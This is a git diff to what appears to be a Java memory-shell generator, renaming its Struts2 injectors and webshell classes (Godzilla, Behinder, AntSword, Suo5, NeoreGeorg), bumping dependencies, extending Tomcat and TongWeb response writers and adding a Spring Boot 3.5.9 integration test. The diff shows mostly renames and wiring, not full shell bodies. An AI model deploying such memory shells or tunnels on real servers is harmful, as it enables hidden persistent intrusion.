diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml
index e3bfdd6c..0c992fd2 100644
--- a/.github/workflows/memshell-integration-test.yml
+++ b/.github/workflows/memshell-integration-test.yml
@@ -43,13 +43,13 @@ jobs:
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
- depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
+ depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
- - middleware: "struct2"
- depend_tasks: ":vul:vul-struct2:war"
+ - middleware: "struts2"
+ depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
diff --git a/.github/workflows/probe-integration-test.yml b/.github/workflows/probe-integration-test.yml
index 4b1c18a0..6319d70b 100644
--- a/.github/workflows/probe-integration-test.yml
+++ b/.github/workflows/probe-integration-test.yml
@@ -41,9 +41,9 @@ jobs:
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
- depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- - middleware: "struct2"
- depend_tasks: ":vul:vul-struct2:war"
+ depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
+ - middleware: "struts2"
+ depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
diff --git a/build.gradle.kts b/build.gradle.kts
index 2df8e74c..70e482fb 100644
--- a/build.gradle.kts
+++ b/build.gradle.kts
@@ -9,7 +9,7 @@ idea {
}
}
-version = "2.7.0"
+version = "2.7.1-SNAPSHOT"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
diff --git a/generator/src/main/java/com/reajason/javaweb/Server.java b/generator/src/main/java/com/reajason/javaweb/Server.java
index b0ef32fe..804f91ce 100644
--- a/generator/src/main/java/com/reajason/javaweb/Server.java
+++ b/generator/src/main/java/com/reajason/javaweb/Server.java
@@ -20,6 +20,6 @@ public class Server {
public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB";
- public static final String Struct2 = "Struct2";
+ public static final String Struts2 = "Struts2";
public static final String Dubbo = "Dubbo";
}
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java
index 3ffa86a6..e5f6a5ec 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java
@@ -46,7 +46,7 @@ public class ServerFactory {
register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new);
- register(Server.Struct2, Struct2::new);
+ register(Server.Struts2, Struts2::new);
register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
@@ -82,7 +82,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
- .addShellClass(ACTION, GodzillaStruct2Action.class)
+ .addShellClass(ACTION, GodzillaStruts2Action.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -107,7 +107,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
- .addShellClass(ACTION, BehinderStruct2Action.class)
+ .addShellClass(ACTION, BehinderStruts2Action.class)
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -125,7 +125,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
- .addShellClass(ACTION, AntSwordStruct2Action.class)
+ .addShellClass(ACTION, AntSwordStruts2Action.class)
.build());
addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -162,7 +162,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
- .addShellClass(ACTION, CommandStruct2Action.class)
+ .addShellClass(ACTION, CommandStruts2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
.build());
@@ -190,7 +190,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
- .addShellClass(ACTION, Suo5Struct2Action.class)
+ .addShellClass(ACTION, Suo5Struts2Action.class)
.build());
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
@@ -215,7 +215,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
- .addShellClass(ACTION, Suo5v2Struct2Action.class)
+ .addShellClass(ACTION, Suo5v2Struts2Action.class)
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
.build());
@@ -241,7 +241,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
- .addShellClass(ACTION, NeoreGeorgStruct2Action.class)
+ .addShellClass(ACTION, NeoreGeorgStruts2Action.class)
.build());
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/struts2/Struts2ActionInjector.java
similarity index 98%
rename from generator/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java
rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/struts2/Struts2ActionInjector.java
index 8ef54a34..6d2867ad 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/struts2/Struts2ActionInjector.java
@@ -1,4 +1,4 @@
-package com.reajason.javaweb.memshell.injector.struct2;
+package com.reajason.javaweb.memshell.injector.struts2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
@@ -15,7 +15,7 @@
* @author ReaJason
* @since 2025/12/8
*/
-public class Struct2ActionInjector {
+public class Struts2ActionInjector {
private static String msg = "";
private static boolean ok = false;
@@ -32,7 +32,7 @@ public String getBase64String() throws IOException {
return "{{base64Str}}";
}
- public Struct2ActionInjector() {
+ public Struts2ActionInjector() {
if (ok) {
return;
}
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java
index 5a140ada..b990b563 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java
@@ -19,8 +19,11 @@ public Class> getListenerInterceptor() {
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, BesListenerInjector.class)
+ .addInjector(JAKARTA_LISTENER, BesListenerInjector.class)
.addInjector(FILTER, BesFilterInjector.class)
+ .addInjector(JAKARTA_FILTER, BesFilterInjector.class)
.addInjector(VALVE, BesValveInjector.class)
+ .addInjector(JAKARTA_VALVE, BesValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
.build();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Struct2.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Struts2.java
similarity index 64%
rename from generator/src/main/java/com/reajason/javaweb/memshell/server/Struct2.java
rename to generator/src/main/java/com/reajason/javaweb/memshell/server/Struts2.java
index 4108637a..55ea2f05 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/server/Struct2.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Struts2.java
@@ -1,18 +1,18 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellType;
-import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector;
+import com.reajason.javaweb.memshell.injector.struts2.Struts2ActionInjector;
/**
* @author ReaJason
* @since 2025/12/8
*/
-public class Struct2 extends AbstractServer {
+public class Struts2 extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
- .addInjector(ShellType.ACTION, Struct2ActionInjector.class)
+ .addInjector(ShellType.ACTION, Struts2ActionInjector.class)
.build();
}
}
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruts2Action.java
similarity index 98%
rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruct2Action.java
rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruts2Action.java
index a4e53470..40059777 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruct2Action.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruts2Action.java
@@ -10,7 +10,7 @@
* @author ReaJason
* @since 2025/02/18
*/
-public class AntSwordStruct2Action {
+public class AntSwordStruts2Action {
public static String pass;
public static String headerName;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruts2Action.java
similarity index 99%
rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruct2Action.java
rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruts2Action.java
index 1fc453ff..6badbcd2 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruct2Action.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruts2Action.java
@@ -15,7 +15,7 @@
/**
* @author ReaJason
*/
-public class BehinderStruct2Action {
+public class BehinderStruts2Action {
public static String pass;
public static String headerName;
public static String headerValue;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruts2Action.java
similarity index 97%
rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java
rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruts2Action.java
index 9928c236..0fb36c59 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruts2Action.java
@@ -10,7 +10,7 @@
* @author ReaJason
* @since 2025/12/8
*/
-public class CommandStruct2Action {
+public class CommandStruts2Action {
private static String paramName;
public String execute() throws Exception {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruts2Action.java
similarity index 99%
rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java
rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruts2Action.java
index a68002b9..9959f4ba 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruts2Action.java
@@ -15,7 +15,7 @@
* @author ReaJason
* @since 2024/12/15
*/
-public class GodzillaStruct2Action {
+public class GodzillaStruts2Action {
private static String key;
private static String pass;
private static String md5;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruts2Action.java
similarity index 99%
rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruct2Action.java
rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruts2Action.java
index 3bb5e0dc..ca6f9a95 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruct2Action.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruts2Action.java
@@ -18,7 +18,7 @@
*
* key: key
*/
-public class NeoreGeorgStruct2Action {
+public class NeoreGeorgStruts2Action {
public static String headerName;
public static String headerValue;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struts2Action.java
similarity index 98%
rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struct2Action.java
rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struts2Action.java
index 56bfab0f..a2f2a7a1 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struct2Action.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struts2Action.java
@@ -16,7 +16,7 @@
* @author ReaJason
* @since 2024/12/15
*/
-public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager {
+public class Suo5Struts2Action implements Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
@@ -25,10 +25,10 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
InputStream gInStream;
OutputStream gOutStream;
- public Suo5Struct2Action() {
+ public Suo5Struts2Action() {
}
- public Suo5Struct2Action(InputStream in, OutputStream out) {
+ public Suo5Struts2Action(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
@@ -268,7 +268,7 @@ private void processDataBio(HttpServletRequest request, HttpServletResponse resp
Thread t = null;
try {
- Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream);
+ Suo5Struts2Action p = new Suo5Struts2Action(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struts2Action.java
similarity index 97%
rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java
rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struts2Action.java
index 621abb53..ff55ad72 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struts2Action.java
@@ -14,11 +14,11 @@
* @author ReaJason
* @since 2025/12/9
*/
-public class Suo5v2Struct2Action {
+public class Suo5v2Struts2Action {
private static Class> suo5V2Class;
private static String suo5V2GZipBase64;
- public Suo5v2Struct2Action() {
+ public Suo5v2Struts2Action() {
}
public void execute() throws Exception {
diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java
index ced27afa..8515336e 100644
--- a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java
+++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java
@@ -106,8 +106,8 @@ private Class> getWriterClass() {
return WebLogicWriter.class;
case Server.Apusic:
return ApusicWriter.class;
- case Server.Struct2:
- return Struct2Writer.class;
+ case Server.Struts2:
+ return Struts2Writer.class;
default:
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
}
diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java
index 6c9cde0d..303834fa 100644
--- a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java
+++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java
@@ -10,7 +10,7 @@
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
* 额外需要注意:
- * 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
+ * 1. 不会识别 SpringWebMVC Struts2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
*
* @author ReaJason
diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struct2Writer.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struts2Writer.java
similarity index 98%
rename from generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struct2Writer.java
rename to generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struts2Writer.java
index bed217b6..86ddb976 100644
--- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struct2Writer.java
+++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struts2Writer.java
@@ -11,10 +11,10 @@
* @author ReaJason
* @since 2025/12/8
*/
-public class Struct2Writer {
+public class Struts2Writer {
private static boolean ok = false;
- public Struct2Writer() {
+ public Struts2Writer() {
if (ok) {
return;
}
diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java
index 81db8a5f..57b078dd 100644
--- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java
+++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java
@@ -44,7 +44,11 @@ public TomcatWriter() {
try {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
} catch (NoSuchFieldException ignored) {
- continue;
+ try {
+ requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "endpoint"), "handler"), "global");
+ }catch (NoSuchFieldException ignored2) {
+ continue;
+ }
}
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java
index 663ca463..89563100 100644
--- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java
+++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java
@@ -27,9 +27,15 @@ public TongWebWriter() {
String threadName = thread.getName();
if (threadName.contains("Poller") // TongWeb6
|| threadName.contains("Acceptor") // TongWeb7
+ || threadName.contains("AsyncTimeout") // TongWeb 7.0.4.9
) {
try {
- Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
+ Object requestGroupInfo = null;
+ try {
+ requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
+ } catch (NoSuchFieldException ignored1) {
+ requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "endpoint"), "handler"), "global");
+ }
List> processors = (List>) getFieldValue(requestGroupInfo, "processors");
for (Object processor : processors) {
String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml
index 437b9017..9ac7cddf 100644
--- a/gradle/libs.versions.toml
+++ b/gradle/libs.versions.toml
@@ -1,5 +1,5 @@
[versions]
-asm = "9.9.1"
+asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
bcel = "5.2"
javax-servlet-api = "3.0.1"
@@ -15,21 +15,21 @@ alibaba-dubbo = "2.6.12"
apache-dubbo = "2.7.6"
tomcat = "8.5.85"
-byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
-commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io
+byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
+commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
-commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
+commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
-fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
+fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
mockito = "5.21.0"
hamcrest = "3.0"
-junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
+junit-jupiter = "5.14.4" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
junit-pioneer = "2.3.0"
-junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
-testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
+junit-platform = "1.14.4" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
+testcontainers = "2.0.5" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
[libraries]
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
@@ -74,5 +74,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins]
-lombok = { id = "io.freefair.lombok", version = "9.2.0" }
-shadow = { id = "com.gradleup.shadow", version = "9.3.1" }
\ No newline at end of file
+lombok = { id = "io.freefair.lombok", version = "9.5.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
+shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
\ No newline at end of file
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java
index 25ada484..a1df007d 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java
@@ -16,7 +16,7 @@ public class ContainerTool {
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
- public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
+ public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath());
@@ -25,6 +25,7 @@ public class ContainerTool {
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
+ public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ContainerTest.java
new file mode 100644
index 00000000..00e91bd8
--- /dev/null
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ContainerTest.java
@@ -0,0 +1,90 @@
+package com.reajason.javaweb.integration.memshell.springwebmvc;
+
+import com.reajason.javaweb.Server;
+import com.reajason.javaweb.integration.AbstractContainerTest;
+import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ContainerTool;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.Arguments;
+import org.junit.jupiter.params.provider.MethodSource;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.Network;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.util.List;
+import java.util.stream.Stream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+public class SpringBoot359ContainerTest extends AbstractContainerTest {
+ private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
+ .imageName("eclipse-temurin:17.0.17_10-jdk")
+ .jarFile(ContainerTool.springBoot359JarFile)
+ .jakarta(true)
+ .jarDeployPath("/app/app.jar")
+ .command("java -jar /app/app.jar")
+ .server(Server.SpringWebMvc)
+ .pidScript(ContainerTool.springbootPid)
+ .targetJdkVersion(Opcodes.V17)
+ .enableJspPackerTest(false)
+ .contextPath("")
+ .healthCheckPath("/test")
+ .supportedShellTypes(List.of(
+ ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
+ ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
+ ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
+ ))
+ .testPackers(List.of(Packers.H2))
+ .unSupportedShellTools(List.of(ShellTool.AntSword))
+ .probeShellTypes(List.of(
+ ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
+ ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
+ ))
+ .build();
+
+ private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
+ .imageName("springboot3")
+ .server(Server.Tomcat)
